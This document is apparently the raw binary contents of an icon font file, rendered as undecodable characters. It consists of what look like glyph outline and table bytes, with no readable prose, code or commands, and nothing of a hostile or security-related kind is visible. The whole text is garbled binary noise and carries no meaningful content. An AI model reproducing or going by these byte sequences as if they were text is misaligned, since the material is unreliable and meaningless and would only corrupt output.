R���Z��J�X��*�d�P��$��n�����^�0v��&Xt>b  ~ � �!!4!d!�!�"^"�"�##<#d#�#�$$�$�$�$�%%|%�&R&�'�(:(\(�(�)*)P)�)�*|*�+N+�,,�,�-R-t-�.4.�.�//6/�/�00T0�0�1�222�2�3d3�3�3�4.55^5�5�6.6l6�6�7,7^7�88T8�8�909�9�::v:�;�;�<><f<�<�=F=�=�>>N>�>�?j?�@"@b@�@�AnA�A�B$B|B�B�CC�C�C�DD&D�D�D�E(EZE�FFTF~F�F�G8GZG|H�H�H�INI�I�JvJ�K KBKtK�LPL�M*M\M�NTN~N�OODOxO�PP�QRQ�Q�Q�RR\R�R�SS�T>T�U2U�V\V�W�X8X�Y~Y�Y�ZZBZ�[[�\\B\x\�]F]�]�^^t^�_r_�_�`D`�`�`�`�a2aPa�a�b:bpb�b�b�b�ccc6cBcZcfc~c�c�c�c�dd:dNd�ee0erfFf~f�f�g$gDg�h\h�h�i2iTi�jj.jfj�j�j�k kdk�k�l
l4l�l�l�mn�ooFo�ppBp�p�p�qq:qbq�q�q�q�r�r�r�r�ssrs�tt:tdt�t�uu,uXurvv:vdv�v�ww|w�w�x x<x�x�x�y yvy�y�y�zzzZznz�z�{{B{T{�{�||�}(}f}v}�}�~~,~|~�~�zҀ*�����r����Z�����ރ0�`�����҃��^�����Є��&���؆�.�N���ć�>�����ވ�J�z���Ȉ��6�P���Ȋ��:�Ȋ��0�B�x����
�8�d����,�����������(�J�����ԏ�L�j������������ґ��4�Z���Ғ�
�2�h�Д�"�J�b�n�����”�� �b�t����<�V��������F�d��������t�����ܙ�&�B�t������f������$�L�r���Ȝ�*�v��4�L�d������P�r���Ğ��0�H�������h���ܠ���6�T����̤J����(�l���&�x�ʧ�T�z�R���ʩ*�p�������^��P���֮�\���ί^���İ��T��(�P���ʳ"�:����B����(�V���ֵ�X���ʷN��n���ֹ�$�T���ں:�t���ܻh�����h�̽@����8���*�n�����J�x���U.�/<��2��<��2�/<��2��<��233'3#�wffU��3����#%2+"=#"4;5426"264$2"&4*J JJ :�jj�j���zz�z� JJ JJ�j�jj��z�zz�����!2"&424+54"#";32=z�zz�z*J JJ�z�zz�f JJJJ@@72+#"'&=#"&54;542�a`
` � ``
``��\�3T%2#!"54;275>4.'5&+"543!2+"3';26'.=4>76&+"N��!#""@!#""��
 	�	 )

.BB.

.BB."$

7

7
&����2"&474"25264&"z�zz�z�"�z�zz�sQ
 �`Ai!!%4'&'&"27676/3#"'&'&'&5476767632#54&#"325/3#"'&'&'&5476767632#54&#"325��@�/ � /1#�#1P.%

 ".
�.%
	
 "-
`���& 11 &,11+%

&#

%

&#

������ir{.'76'&#"'76'4"5&"'76/&"'76'4"5&"'&272?272?272?72?6/"'7#2&7436j�_j�q							F0%���0%�pj_�j_��						��GI��GI��2+"&=463264&"264&" (88(�(88(((�((�8(�(88(�(8�((((	����")AJQX73/&6'46#"'2/632&547+64?6;2+"/&5%#"&7&576&ʳ'@7R/*Y0*~�n�M�(,2G22G2%m&9M��N;M:7$�mw/�M;�22F22K/*'AM@N�(	����"3DGKt�%53!537#"'&"'&'#.54632227'27654&'&'&"'&'&#"'53'#54'&+"'&7'&'&5463"2;2#4'&+"&7>'&#5232H��R0z5?�]#!4?�]#!\7-� 1)		� 2)		6-�"B(		
 6&	�0000�i>]�	i>]��� �-70PG-61Q �""000[

%��$9"/&4?62?6"/&4?6%"/&4?6?6s

�
$
�

�=
$
d#

�
$
�

#5

�
$
�

 ll6CCD

��-CCXCC1		1����U7'7'77&'&676>'&'7>.'.'.32?32?327>/73276/�@@@�%C|||&%C|||-

	

	@	
	
	@
�>>>>W||&%C|||&%C�

>

 
	
  
	
 

>!
 ! ����3H2"&47&+"327654/&+?6'&'&#";254+'3276/z�zz�z�|
6%
	

5-!�)1	
�z�zz��
6	>

ZR%.
@�@W%+"'&'&'&'&##"&'&'.54;227676'&'&'&5676322767676;2�5			>2 	
B
	
	'	J (�1

&6B"	",(	1-	,
+5��
'!"=463!22#!"&54326'&+"3��h`���	d	H���

����	%#"5'53+75'32cgc�h�QaQ;`������h����>76/462"&"26V
QQ
^
_dz�zz�h�hh�h�
QO

^
_h�zz�zhh�hh���
!11!517'1'3'75#UU�UU�UU�UU��{UU{{UU�UUG�UHH����#"/&?&2"&464&"�
QO

^
_h�zz�zhh�hh:
QQ
^
_dz�zz���h�hh�h����2"&46/&7z�zz�z$��z�zz�ZS�����6#"'&?'&462"264&"�
_
^

PR�z�zz�Zh�hh�,_
^
QQ
��zz�z�hh�h�r+32#!"&=46354&#!"3!26'2#!"=432+"43��x�
�x

�
"��&�r�����

�

���������6&?6/"&462264&"r_
^
QQ��zz�z��hh�h�_
^

OQ�z�zz�Zh�hh�[ %32+/.54?_	<�

�<		RR%	==		SS��0�P6#"&/&765427�	SS		
==�	RR		
	=�

�<[ %6'&?#"4;'�	RR		
	=�

�<	SS		
==��0�P6/"='&?>32�	==
		SS�	<�

�=	
		RR����=2+"'&=47632#"&=43226=4'&#";26=4�		"*
, !"$$" 
",�  !-�%%�$#��
��0� d(9L#"/#"=4;76321#"'&76514'&6#"'&76514'&61#"'&76514'&6�		A55A�A		::	A?.	((3.
�
4P5p[A	8SS8	A�0	(::(	) ** 	""	 �`22+"./&4767>3'76&'&?6[()�	
H+
�44554-55`(�*L

-	�55445.44P0(#"/#"=4;76321"'&76514'&76�		A55AO
		.
�
4P4' )* 	#"		����!%)E%5353#53%'3753353'3"353753#5372#54+"#'&6;5463!2dC1-	�h��Bhh��-0hh�h�
H�H
0JLLJ788JLL^XXXX�888JLLLL�D��D``P�0%172#!"&=46354&#!"3!2672#'2#!"=437#73|��`��L0P���--0�����{!$!shht=+=P�0%2#!"&=46354&#!"3!2672#|��`��L00�����{!$!P�0%12#!"&=46354&#!"3!2672#'2#!"=43|��`��L0P��0�����{!$!shh��37'#%5'5>4&'UkkU 5@UU@/;;/p��p@0�1�l�l-RfR����%2+"&54&'4>3!!=47#!"}%�&	����
�
��'&

"$G����<62"7'&?654'&z�zz��QQ
_
^j�zz�z�OQ
_
^
����-5R\#"&546=4&=463276327632;2'&+"2#!"432++"'&76=4;254&+3260



	�
��" �
�4  `
3		��`
��`���'/R7"27654'.2"&4$"&462"2654.2"&472+".'"=4.'&54?632]&6AL88L7.#(6&&AL77L8K9	1 	H	
�6&8L77L��(4&&8L77L} 
4ZB
	E	<�����'27#"=&'&?'&65432'"?6'?6/&�tU
lm
VtX?B??s

x�J
[\I�y
L�w5�A5����2"&4'76&3276z�zz�z�OQ
_
^
�z�zz��QQ
_
^����048Z%#&'#"'"47>?27"&/+&'#'&54?624"24"7/"5'&+"#&?6;76;232($$A<$%+j�
7007
�;Xh�	"9#
���Un,,,uaVVa/����<62"732?6/&z�zz�zO

^
_
j�zz�z�Q
^
_
����!"./:G\ju7"&54657632"'&/&762'72/#&7631&54;26&76?.7>'2#"'6?6767'&7>'6�
%S-
<?
9�:<+	-"�3-
	(+G<!&
�
 #aK

O>+3
	="�1 "!/"35�<)L	( ����"&462'7654/&7&�zz�z�Q
^
_
z�zz�zO

^
_
���46;2/&5�uup��\\�����#7#"'&76'32''76#"&77&��
�5h?3*V�5h>3*V���Y
ɶHq�Y
ɶHq0�P)@%+./6764/67632#"&5463272#"&'67=4/&/7>N
M! P� BK�"3 


"PW98XAAX89W;	

 A p37'#%5UkkU p��p@0�1������.72#"'&76546%'&54&'"'&?6312?632v):	L
I .d�-3$5
��;+@
!!'8��

	4$/+�����C�:S72#"'&6323276767+"&7>54676=463122'&'&54'&'.3�&'

���
.!

!/
%
-
%%


3

/ @D

D@ / 8998 ������
By#"'&'62&'&?67&'"#'&'&6;76367&'&'&'&'&7>2'&'"&#2'&76'&'5>76?&762W%56%	/��B'8,
$	

		T

$
+9'B	
A%%?V#.�4
 +. !
	m/+ 
3�."	

! ����(2"&42674"&'&63?64/&"z�zz�z�2J>*,@@-II5KK�z�zz��D1	)9?,-A*/	5%KjK����*26#"'&#""&47676'&767323276'&�
*�$
�/"-/��		


=!�
$�
71-/�	

���x4%2+'"+"?4#'"+"?6/&;23725'&;237x (( Aa

2y&%z2

aA���.DE-����(�;CK+"=4?6&#"+"=4/&"+"5&'.'&5462"4;2#'"4;2#(

	YvY�$8L&*		^	*
3__3
*_	*&:SS��,�p!G$2"&=4#!""&=4623!254%"=463!2+"=4+"+"=4+"#�


��



d��(bb�
	�	

		

	�	

		^^



@�
-7CMYa7:3+"'466+"5:>2+"&546;676&72=4+"3676&754+";2'24+"37&7���Wb�-bb�e����O�tN_t��R�.'08AI2+"&46354+54+"#";;2=322654#"264&#"6264&#"2654"Q.AA.�.AA.9#$##p>6&.>^@@^>y##$#5&S6�p	&/%2#!"543++"&'&'&'4763!2>54'&'B��!$," <
/

&
,

0'+!.9O

�&
J����-DYg1#"'&547654'&5476321#"'&4764'&5462'#"'&5147632#"'&5147622"=&54h88//3##
�//884##
5(""�5IJ5->?,1!00!
L,~,5JI5.L
!00!
$
��
$������(%'&'9&'&76?6762u
AI42+$	
-,
*S%)41L@

(

-,������%%'&647&'&631326;1�

��

Be</r��!+=""=/A

j

h
��4HR??!44B.G(�X#+3:@% '&=4>76;2"!4&#264&"4+";264&"+"537+"p02��2*:x:�'$��ppJ�U0�`V�),L

L"\9
8�  F����#+2#43&53+"&5426=4&"462"����  t(&��
L$$7 �`	#!5463!25!#!"&7";24+";24#��@��@������@00��>����#-5=E463!2#!"&57676&7676&7676&24+"3724+"3724+"3Z��Y




�����m��1

i

i

�hh	�p'/7?GO%2#!"432#!"432#!"&=46324+"3724+"3264&"24+"3724+"3462"��\��\���/$$$�B//B/$$$�,,\0D�����/B//B;�X,,(�X5A462"27#!"&=462?632?6276/&?'"/63!@((��lK		
K!$K
		K/7Q0�	((��nP		PP		P0B"R����� H%#/&#"#"&547>32#267#"/"""'&764'&54?32769Gd`>Hfs	0H!84dG:dE9LbE/+N	8<%-A.			Ed��/2#!"&54634#!"3!2'#"/&?62762`��D��88�8,z���@��8����8-{��"2#!"&54636/&"'&"27`��z,8���@�{-8����##"/&?62762&"264$2"&4;�8,z�jj�j���zz�z��8-{cj�jj��z�zz�����2"&46/&"'&"27z�zz�z:z,8�z�zz�{-8������&.C&?"&#"/&54&5&767667>2264&"6676726�
>2
P	 Q
8$2�*�""o+�,�2$9
Q
P
2>
�#�
C
��`�$.f4;2+"52+"=4;4767632676&72#!"546;2+"+";254+"=&+"5&'&63<����-�
�� L� �?	

1��
8X	%	��)"����$%/&?&'&6766"264$2"&4554.5543�jj�j���zz�z�445/445�j�jj��z�zz�����2"&46/76&'&?z�zz�z4455445�z�zz��5544554����/72#!"&54634&#!"3!262+"&=463'"4;2#D##��##(��<

�


d�#��##H#�|H��
�

�
4����12"&46462"3"&4632'&#"2654/76?�N88N8�$$Gz�zzV1.!(Fdd�d

8N88NI$$++Vzz�z
d�ddF#������#,5�%#&'.6?>766'66'&264&#"264&#"#5476724363676;272##"#?>37437&547&+##6'"'&7##3;#"&#"'"'&=�_?4Z



_@9`��	�	[	�
	

		�><R1+&8+=R91)%#7"%+&c
)����2"&42654&'.#"&#"3z�zz�z#)(!�z�zz��&"
$ �`ez���%"#+"5'#"&#""&#"++"5&5"&#&576764/"'&547676276767676327325476#%76276'.'&"2764'&'&#"32632>'&'&#"2754#"32632326�
@	F0F	A
$"/."(
��
'�'
(|(
�	($

�}�"]-0>	
)
0
4yI

	W
 `)%#!"&5467>326326/&"'&"27� +6%��%6$*-N9VEz,8�4"&88&4
,AM'{-8M�3)C"/&4?'&4?62"/&4?62"/&463254276323rr``�`rr�>>''1mm
\\
s\
mm
a99#jj#M�3)19A%"/&4?'&4?62"/&4?62462"&462"6462"~r``�`rr 


M


s


�m
\\
q\
mm
e










M�3)"/&4?'&4?62"/&4?62rr``~``rr1mm
\\
\\
mm
����%##5#53533&"264&2"&4;V*VV*V'�bb�b��zz�z�VV*VV�b�bb��z�zz�����*#""/.?'&4627'&#""&5476��r�U2(/02	
-(-J�o~T1(011�16����%''575575462��0PP0���p0rr0(hq

qh��!)19A%+"'&47632$264&"264&"6264&"264&"6264&"n	
<Y[>??C[M3##	��RT((:d	
477�8<-W

����((� @`2#!"&546354+";2$����`���������	7&?6&2"&476&#7�b1>�zz�z�Q�Q�1b�z�zz��Q� �`
#7'#'737hXXNX3�NXXNX3�`���]����]�������6C{�'#&7632'&?&'&#""/&?6376&76767632"'&'7#"'&#"#"&4767>767>7636'&767326'&li#2
$	!?"!0�78:/A$*
	w
F9
."5
3��			
			�/
$	#@"	!	��6B=3:!


$A6		8053	�					@�@6"&46272#5!#335,,�)#��##��**H(�33�x����2"&4654&#"6767654'&'&'.5&7&'&7>'726765&'./".#&47>3675'&7>7632z�zz�z_	lJG65"#0
-		

�z�zz��
(Lh45K0,



'	

1
	X
 
����%8K7'&762542+"43"=4276232#"'&?#"4;2"=6"=4;2+"/xt

up�u

tM��

tMpu�pMt

u�u

tMppMt

u�

upMtpu

tM����
2"&464&#z�zz�zjjJ�z�zz���j�j����1�������� A6+"=47%/&?632?6#!"&=46;;2t�
��"�##��&j��
����##�"�&����"264&2"&4''7'77�bb�b��zz�z8KKKKKKKfb�bb��z�zz��KKKKKKK����7''.547'632632�\
-4.;�H�9%%90Bs��\)0,D5- M@M�,,B����
)/&4?6&=4?6%46/&5������d��>
^^
Q�b�]��]�_����%'5#5'7'53��H@l��@���Xk�0�(���h�+48H^g7#"'&4763276767>765?22654&"624"&'&547634#2#"'&'&'&'?62654&"� 

r
=�|  0Ci/�&&
$�	
":	

�Z�t [�A<*:*"
!
c��`�?!#53#7?0�@�+**�-�--�zz@vvJ@...��!%1%+"54376?32#!"&5463!24"72=4#!"3@�\r
�p

����xv
��


��������'"264&2"&4535#4>54&"#462�bb�b��zz�z�**")1D1>fb�bb��z�zz��**?"11"7����2"&4264&"&2"&4264&"�L44L4J  .�zz�z�^CC^C4L44LN  �z�zz��C^CC^����"264&2"&4#535#53�bb�b��zz�z�****fb�bb��z�zz��})*��0�
"&=432#';+"&546;�
L�`��%H?	�P��`B 	,7'7632#"/&?632%#"/&?632762�CB�L
@$�?2��EE.OAF�A4��� 462"27#!"&5463!'P&4&&44��e��&4&&4&�
Cu+u����,8HU[+"/&7632%2+"'&?632+"&=4632#!"=43%2#!"&=46354&#!"3!22#4�
	��	�
		���h�����h�0FFF
%		%��0�����4

����
2"&47'z�zz�z�}}�z�zz��^^��@�	2"&54ndnW�W��Z[dd[Z����"264&2"&4#53�bb�b��zz�z;��fb�bb��z�zz�k* �`!'46;2+"&=3?>54/&+3#"4`���/		EE		/�SSS
8�k0		FF		0��%8K"/"=4;2#72"="'&?#"43232+"=4272+"4;'&76250u

up�u

uNm

uNpu�pNu

udu

uNppNu

u�

upNupu

uN�� �9A7276/&/&&5'47/#"&//4?4>?&264&"��
CC	0	
!k3  3�p-
-p1,P2&)1P,4������
.6=D'&667#".'&767%'676&"'632&7'.7'327''6;8d

��
�+(*.T1)668668(+))pl	��O	"~@	
|��

d
��,)..:6(8R;6(8	,�
	P"
	+������/:"'&?'&7627&547676762#"'"/264&#"

-%

%2(
H4

$>02%

%-{)TtTT:;
	-%	
%20>$

4H
(2%	
%-W);:TTtT	����-Dj�����#"'&54654'&'&762%"'&767632#"'&#"#"'&547632%+&76'.#"#'#&56'&'&7632+&'&7654'&'&#"#"&767632'+"&56'&76322+&?43'#"&5.#"+&76'&7632+"'&56'&'&7632�
	

��5DG<	4>:/I
3-)	D-?L		
-/J9:"
-  �			~


	


	
'"$ 

&1	
+!�"0
/+N;39$:DW
V;4:R6$*2,)'C02�+"!(*0	
"!$p>
;j/!	�
#�$N	ENbV
Q_&8;::-A:
����'32#!"&5463254#!"374;2+"54;2+"5U��&��"�������j�kb����"�����72&?#"&?6��4l�4�
�����t2+#5#"&=4635!�f�en��t�((���������!546;2;2!32#!"'&'&3���`
�

�����I)I


O���� �`'/7?GO62"#"'.+"#"'.7>76322632264&"264&"264&"6264&"264&"T&&^)!;; +' 

:6:

 '��  �88�&BY	4		4	YBFF		FU""8L8����463!2/&=4/	v	�
7�_

�
�
k
���L�08@H2"&547675&'&5462676767.54&264&"4&"26264&"�:) %4#):)):)1- �"";""�""`)'$
%))�))� &4""��""�"":�F%2+"'&'#"4;676264&"�M$&l&$MM$&l&$Y>>X>>�3!$$!33!$$!3x>X>>X>����+3_g7#"'&?#"'&=&'&5462;'&462&264&""&5476754'&+"/&54?63232264&"�;9		(Z3	):)	Y)�""m):)	Y);9		(Z3	 ""x;	:	(-*�))�((�""�))�'(;	:	(-*�""����,4<D%2#"&'"'&'"&547675&'&54623>4&"2264&"264&":))& D-):)):)-+D
'�"""""
""�):) 
?�))�))1D �""4""�""����1;CM2"&54675'&=&'&546275&'&543264&#"4&"2264&#":* u*:* u*:)jj��  i�*'9<,**',<9**'+77+""��""2""����DLT\%"&5476754'&+"/"&547675&'&546327632324&"2264&"264&"I):)	M)8):))%7		(N3	�"""""
""j))�'(8�))�)7	(-*�"",""��""����3#"3!2#!"&546#32��
@��`@4��� ����������$*05:@GNTY^dk2+"&463&'#5&'#6?67'3&'7&'6&'6''6367&67&'&'7567&'67&'767#�VzzVUzzU�!u>>==m!*2."
D!MF #*4-"
B!M�z�zz�z�6+
"*>&&>>&&8 5JI6D#(*7*"m8)
"*v 6JH5D"+6*"��2#!"&=46376!"467d##��##��� #�##�#_
��_7"=4;2#'463!2#!"&5%24+"=4"+"=4"+";2+";22=4;22=4;24+"=43�d�@��J8d8888d88�dd����8888d8888d��U�	3#"&546!2+ ����V
j
���������N7/&76?67"/&?6'4"'&#"/&76'&'&#"#"7676322762�	8?'
_%'

�8"



 
(1!�8L
'Q%'
7"

	!	��%17;#!"&5463!2#"4;2+"57>76&����4�*��Mk,�&����@�82+"&/.'&547654622=4622=4622=4"+#:% +K
�)4	#'"&�		�

�

�		m����$,5>2#!"=46;&54632632'"3264&#";44;#"&5%2+��hT%!!%+""p"���x�8##L@@���������#2"&4"264&"2642676&+"z�zz�z"�B4	�	�z�zz��(��!373#!"&'5463!�
�X}"��9	��q`�`�pA2"54'&""54+"#"=4&"#"&+"&=46;2=4632;�L48.. >X> .. N89&'D8  L.  .�,>>,�.  .&8N('7&\$%753%!!#5#75#35335#35!5#353353���r��r9�q9�9�99r�rrVVr�rrVVVV����$,2"&4%7."67'7&'6264&"67'6z�zz�zY>�>YY>D8((8(�Y
)�z�zz�VY)>>)Y��Y)>Z(8((8c*Y����&/"264$2"&472#5&7654&#"#>4632"�jj�j���zz�z�##$#
	tj�jj��z�zz�
	
�	����'2"&42654#"7654&#"3632354z�zz�z�	
>##$#�z�zz��	U
	���� (07>2#!"&=46;&546327632&"264&"26435'75#'z��.%"

#%1�}�2",�k,"2:��'%+J��E=��=E�
�� �	&1?K[kx�74&53/&?6'6&5/4366&5'/#&75767/&?676/&476&?6#"&/7&?632'76#"'&"'&#"&54766/&7>276m=g%	

'C**)*)'&&<
%E+'HN
	=T>
	*�?-%2�

	i,�)66(����4&'&54671326;654'&+"#"'&'&+"60/A0Pd<0A/=""=**#"2*/[[�B.E@$MHR@E.B44�::$

2#::?II����%5A7"&?62#7&?62+"'7&7>7672#!"&546354#!"3!2A_`>5	

G��]��J���: X�

w��`��������+&'&54671326;654'&+"760/A0Pd<0A/=""=**#	T�B.E@$MHR@E.B44�::$")�E������	9HX7#'"?6#/&?67"&76327'%.?&'&67%6?>'4#"%4#/"325�F�\l.-9��)�����r4���{FN1#_��)C��5���,����462"3#"264$2"&4�


&&]�jj�j���zz�z�j�jj��z�zz�����2"&45#6264&"z�zz�z�&


�z�zz�������-2'.54632667654&#"'&#"7.0B;.44.;B09%%_(0"++"0(_		�B15D,00,D51B,,��X"2*#0  0#*2"X�� 2'.54632667654&#".0B;.44.;B09%%%i(0"*�B15D,00,D51B,,��a&2*#0!��@�+7CO[gs�����"&46;2#2+"=4+"+"&5&546354+";2=4+";2=4+";2=4+";254+";2=4+";2=4+";2=4+";254+";2=4+";2=4+";2=4+";22

�

 

X X

NPPp




��
((
,
��HHH�HHH�HHH��	
!%1593!35#75#75#75#5#75#75#75#5#3#3#7#5#5��`Հ**************��++++{++++�����**U++U++V**�**U++U++V**��+*++*�**U++����''7'?'767>7�y$4
!05<Rf)���"��)fR<50!
4$m
��*62+"&=43#!"&546;2;2=4;254+";2�	��� �<���HHB�@PP��``������3;%2"&547'&6'&'&#.'46'&#"&546'&'&'.'&76326264&")2EFbF	
	
		"	
�#�GfII3
	
	"
��0�P#*%3#!"'&535463!2&"2"3!2=4#25#3�0��0
^
��\�
hP	
�

	�����
#!"&5463264&"75#+U��{4&&4&���U�*��&4&&4�UU������#%'&'&'&'&7665&'&�	*6Y#I
$fc+-(
lVaE
 C�V'#l5
$Hc@�@%1?%#"=4;25462"&72+"=43"&=4622+"&=463@��



R��



F�  R�	

	�	

�Xp�	

	�	

	*pX����%'''7''7'7'7777�--J�J,-J�J�-,J�J-,J�J����	AI%4'565"2"=4#"#.'4;254+"5>722=43+"3264&"[@kK
Kk22kKKk2�:)):)�Kk22kK
Kk22kK8):)):��@�'/2+"&=46;546654&325754&"�9P7R
6(8(��0(98(/}
E�0((0�p#:2#!"&5423!2654&#!""54637#"4;'&762#"'&p��


��
W@��A

TR	p��



�@@

TR�p#:62+"&546;2"54&+";2657#"'&?!"43!'&762���
�

�
KTR		@��A

L

��

�TR	@@

���� $%/&'&"/&54632?'�9��:�)R<;)h�:�*�9�);<R)��h����/%#!"&=4?626&#!"2?6276/&7�
��
�0���
QK		
��
		K�
��
��.UP		��		P0�P,76#!"&=462?632?6276/&7"/63!2���lK		
K!$K
		Ka�	`

�-��nP		PP		P&������(02#"="'.'&4767676327#"5434&"2�
[(
H4

$>0ZKTtTTt�lKZ0>$

4H
([
��tTTtT����91"&462"&5##"'&=476;2#"'&=#"&'5#r&
,
	z		U&�{izz
i��������
)746/&54?6&56&547'46/&5FEi>>Ed>>x3��2
$��%v��2<%��%	����&45=QY32#'&=4'4;2##'"574;2"5%463!2#!"5462"7"&5472654'2"&4~h�4j82�~h��`�d�8!.!!.v!KjK!3(2D2(C.!!.!Dv<��|~<�&�C.!!.!�&/5KK50&/"22"/!.!!.����|�'&'"547>32%#"'.#"#"&'&7>76.'&5467939313131;267632654'&#"326*"3

),h

! 	
2
,	 Z 
			

)/
( $.-$"(

d6.
�,+ \P�0!"43!2!"43!2!"43!2p��`��`��`  `  `  �� �Yn7";2+";2#!"'&54;24+"4;24+"4;24+"5>762=422=422=4+";2#&;2""&=4#&�IIM��MIIIIM(  (MI��/.�#9$)99)$8$�"))���62"&4&2"&4$2"&4�  �  J  �       P`"&462"&4626"&462P      H  ��  `  ������:%&?#76/&65#/&?635&?6/3'&6�O

7�7
	

O

O

7�7

O

O

7�7

O

O

	
7�7

�O

7�7		

O

O

7�7

O

O

7�7

O

O

		7�7

����C�!;"&53#"'&76;2+"&7>547+676=462�.`���	�(�

��

!.
t�|���
/ / �


D@ /����C�("&537+"&7>54676=462�.`l��
.!!.
K

/ @D

D@ /����/72"&4327'&7674;54'&''&#"/32&462"z�zz�zx)/0)2!d5335d!!.!!.�z�zz��V'J5
WX5J'0.!!.!��&6?#!"&=463!26"=&'7#"4;�	����:9C

a�	�����b

C9:�p/76232+"'#"4376232+"'#"4376232+"'#"43�
6
KK
6
�K
6
��
6
K�
6
KK
6
�H  �  �  �r+72+"'.467632=4+"32=4&"372=4+"37,54-�-45,(oor^l]]l^�oow)(�QQ����%6/&&576?6'"'&/&/&47�R
c&��5D��pH-N
��		[m��)6Rd2"=+"4;7'&7632"7"'#&?622#"'&?%2+"&5467=6767632263.54632#�  I��A&77&�,'5
(>�!+%7�x  31�8L9.-
>3&(, =����BX%+"767>367654/&'4'&'.7476'&5&62272+#"=#"4;5432A8
��
8	)
1T1)=



> 

 -	!11!	-X



P�0 $(463!2#!"&572=4"4#"32'!!642}��
�
-��U

�

@
q�V���� ,2+"&5463";24#254&#"7254+"3�

�

@
o����}
�f
1I���� �2.54264&"TxTH$$2&|((�N8.�/0ICQ8q((����'4E#"'&'4#'&7676326'&'&+"7676'&#"27676'&'"232��:kh=��u	
%	R��(
z

,_0
���@�@9N%#"'&'&7632'&'&676326'&'&?6#"'&57547272�?�N;9<  &4"%"*
�#3#$0$`
	Q+10

!#4'!


 	#$1  �`"54;2+"532+42+"=43``�pw�`��8��8����� ."&5476322654'&54632"&=4632<Dq�qD7\�\7
	vP9XOppOX9.G@[[@F/��
�
����574;2+"52#!"=432+"=4&+"+"&=463P����0����@
�jj�
��!2C2+""=463!2"=4'&+"432+"&=423$2+"4;276=~<''<�<'B';<�<;''<<��'<<p;'< @`12+"&7674+"&=46;2+"&7674+"&=463q
('�
('`
�6(	#'	�
�6(	#'	�����"264$2"&4�jj�j���zz�ztj�jj��z�zz�����"264$2"&4$"&46�jj�j���zz�zXX�XXtj�jj��z�zz�BX�XX�X �`%;Oas{#"'&4762%#"'&764'&47632"'1&5476327#"'&764'1&7632"'&54762"&47654'&7622"&46>>		0>>		66�
-/		'�/-		%'		�		{

R  
�;C�C	CYXC	;�;�/?B/%86�/A@/	
%n%
	+	*+,+ 

'  ����%2+"436"264$2"&4*���jj�j���zz�z�  �j�jj��z�zz�����2"&424+"3z�zz�z*��z�zz�f  ��	72+"&543��
� 
�`=!%5!%5!`��`��`�887�J!D"&54?#""=46;'&5476362+#/&54?62326=$�. �u. �	"$�"$ .	x .	"	
#`p2"=32+"=42#"43R��LnLpnL��nL �'52"=&546#3"=&546?3257325&2"=&54  M   
�&   ����9>bk!��!	@hhhhO1!��!1Z�&!?62!276=42#!#"/&54<). ��(:�;(
00 .(:	
Z�& %#"'&4?!"&=423!'&462z9(�� .)�
:(. 00(������-A7.'&6'7>76&276"/&+"&?676+""/57436�5LN74MN;&/!'/	+'PL,�LP'"-�L47NM47M�(!/&!0�E^A�//�AJa����)2"&47676&6326'."7676&z�zz�z�'&I		0:0	��z�zz��!!h��
1746/&5&=4?66#"=4&/&47@������
���K^LS^L^1��

�lv
��6"/&?6&/&47t�A	��	
c��h
	��8���`%&=4#&7672=432}�
U(�
��Ak�B��@�(2+"&=46;32=#5&?>32'�k0		FF		���

�TTT/		EE		����-=&=4&+"=4&/&7676322632&2654&""."�>�>D'
"
'D�.
@-=��=-@DD%		 @`76/+"54;2O��GG\������8 @`4;2+"=&546�GG��\����.��������%#"/"1"'47'"'&'"&="'&547675#"'&76'#"'&?'&763227'##"'&767'&7632>'5&7325&'&547625462>?627&563237632#"'".'>3632y ` 
	!` !

``

! `"
	
 `
 !

``

f
 
$8c
&		&c8$

		88	


$8d
&		&c8"

		88	
 @`%!"&5463!2$�� ��`�#/3"54;2+"=4;2#3"=4;2#4;2+"5h0�0�0(00p������8����@�'3M2+"&=463";24#264&"264&"754+";2"/#"'&?63'&76&&�&&(p��D��
�

2

�

�&�&&�&���``�	0



#�]'$&?#"4;'&6/&546?632+n	/�

�/		EE��	EE		/�

�/�	00		FF�	FF		00����#/76462"72+"&463264&"6462""&46;2#6"2646""�(88(�(88(4&&4&�""�(88(�(88(4&&4&?""�8P88P8�&4&&4�""68P88P8�&4&&4������1d%"/&76326'&'&'&"#"'&'&767676327632"'&'&'&7#"'&?62"/276767632�

*+		  H (%(O;H
;%$R$&"


*+		

<"L �	
**
	"%) 



6Bc
S"1$(
	
++		T<
 �`63!2#!"&5244"'!!
�

�p
�
��`R
��

����`�(4IS\753++"'&=#"&=#"562"&=4$2"&=47#67'4?63272254&#"3264&#"@�
	1�����4{
	g		
�LLZ4
44

4�
`

`

`

`
e
'@		H
		

	
����?''3373�***�.��.8(��(z�YY�P��``���8����2"&45&"3267##"&462z�zz�z@!!\BB.&:	+"22D-�z�zz�Hb!!B\B-#2D2-��@�'2+"&#"+"'.76323267+&76�)
$##" 
0-
,
!&'@<852p0Z ����8m76"&54?676?36;2;#'&'&'+32?63#"#"&#&'1&'&76;676?654&"#.?6�
BV>E"

D,@{>E	%

D,:@
@kA>+-D

D,@%>+-D

	D,??��B�59=ER$#5##5#732>=4'&'&+5353353'3535#76764'&654'&'&'2762#( )W		W) (
	�    H	


�&!
@@@@0�0@@@@	cJJ�ZvB		�	
R��'?&4?62"'"/&4767627676"/&4767627676������{y#��{y	RR	R
QQ

<;u	RR	;:P�0#6;#"&46;#"5372+53264&+5+)XX.BB.XX,�.BB.XX))X�8)+B\B+[,,�B\B+)8)+���� .C6462"7#"'157654'3&'27&'&54767'5676323&'##"�'8''8�bL

f
 ��N>.C
gr&4%&6] 


� 1�8''8'iOz�&			��
.A_0(�,�)
0*)	����
+.6PZ]7&'76''&'77&='./67>7662"&454'.'&7>76'6547>7'7�>''"] D]((''s�����kS	QQ	RO&]=�5):>36?	�������Q
8

6	P6
8
 >3����7!'%7#3#31/#���#����yp650bm3�m--D�132@(N �`'3#'32654/3'35+532@f���?#*%(@$�((/5fvʝ-%kccS,Y��,8@2"&4%6&'"67&327&6767&'"&27&'&'767&p�pp�p:<86� 6-�@A8z(&T	<N�
K ,�B;(	�p�pp�%
5`9!%!F4d=-G#�
*% "@"+I#
�s'7?7'77'5qOrNNrOOrNqqNrOOP"rr"sBG?}>FBBF>J�?GB�BDD��@�%73#327#"=#535#535432&#"3#�|u!.%8
37�2222�73
8%-"���0
"	Au000uA	0��$2+537#546;5&#"#3#"&5463k		k29#
'"-..�		�	��	�8$4)$)8�	V	��J�<2+"'&5463>'6&+"7676;274676&+"&=4;271Hs�/�	F	@	R
`
�9mR	
�
|��Rm	
	��T
-


������!6'.7675'#"&/3326?''>./"'67676=&'.'&476?.7>7>7654&/66'&667>54&�			

��

 .'
			-1(.$��!6	M;
(



%

,	 	
	
	

"
